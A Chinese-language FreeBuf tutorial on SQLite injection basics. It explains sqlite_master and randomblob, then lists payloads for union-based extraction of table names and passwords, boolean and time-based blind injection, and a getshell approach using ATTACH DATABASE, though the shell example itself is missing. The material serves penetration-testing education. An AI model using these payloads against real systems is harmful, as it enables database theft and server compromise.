freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

sqlite注入基础
2022-03-08 14:21:01
所属地 江西省

公众号:白帽子左一

前置知识:

Sqlite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句,基本和mysql差不多

1.Sqlite-master:这个是内置系统表,相当于mysql的information_schema,但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型

2.sqlite 并不支持像mysql那样的注释,但是可以通过 — 方式增加DDL注释(写shell会用到)

3.sqlite_version() 这个代表sqlite的版本

4.randomblob函数
因为这个数据库没有类似sleep() 的函数,所以用这个函数去代替
作用是返回一个 N 字节长的包含伪随机字节的 BLOG。N应该是正整数

5.ATTACH函数
这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行

基本增删改查

创建表语句

create table wafa(name varchar(255),username varchar(255));

插入数据语句

insert into wafa (name,username) values ('bbq','bbcd');

增加字段

alter table wafa add column id int;

查询语句

select name from wafa where username='bbcd';

修改字段数据
Update wafa set username=’tcp’ where name=’bbq’;

这里注意,sqlite不能完全支持sql语句,如果要修改字段的数据类型的话只能增加字段,要修改字段只能重命名表后,重新创建表,再把旧表数据放到新表里,最后删除旧表

alter table wafa rename to wifi;

create table wafa(name varchar(200) not null,username varchar(200) not null);

insert into wafa(name,username) select name,username from wifi;

drop table wifi;

利用方式

联合查询

这里的测试环境里不需要去闭合
首先判断回显点,先判断当前页面字段数

Order by 3

判断出当前有3个字段

然后就是判断显错位

And 1=2 union select 1,2,3

查询版本:

and 1=2 union select 1,2,sqlite_version()

查询当前表

and 1=2 union select 1,2,name from sqlite_master where type='table' limit 1,1

可以通过limit去筛选其他数据,但只能显示一条
(这里因为数据库里的排序问题,目标表在第二位)

得到表名user

查询字段

and 1=2 union select 1,2,sql from sqlite_master where type='table' and name='user'

可以通过去查询sqlite_master里的sql字段来得到字段信息,用name=’表名’ 去确定表名

会输出整条你建立表的语句

得到字段id,name,password

查询数据

and 1=2 union select 1,2,password from user limit 0,1

当然,sqlite也有查询多条数据的方法
可以使用group_concat

and 1=2 union select 1,2,group_concat(name) from user limit 0,1

盲注

sqlite注入也可以使用盲注
基本和mysql的差不多,但是sqlite不支持ascii,所以直接通过字符去查询,这里和mysql不同,这里英文字母区分大小写

查询数据表长度

and (select length(name) from sqlite_master limit 0,1)=4

如果查询失败的话

查询表名

and substr((select name from sqlite_master limit 0,1),1,1)='u'

这里区分大小写

查询字段

and substr((select sql from sqlite_master limit 0,1),1,1)='C'

因为这里是输出整条你建立表的语句,所以要慢慢查

查询数据

and substr((select password from user limit 0,1),2,1)='i'

时间盲注

Sqlite没有sleep函数,但是可以利用randomblob函数,这个函数作用是生成了一个N字节的blob,可以通过这个来延时

and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)

Getshell

使用ATTACH函数来操作
这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行

函数格式

ATTACH DATABASE file_name AS database_name

这里我们通过去建立一个文件,然后再后续通过命令去插入payload
因为这个是建立库的语句,后续通过建立表的方式去写入shell
例:

效果如下

# 渗透测试 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录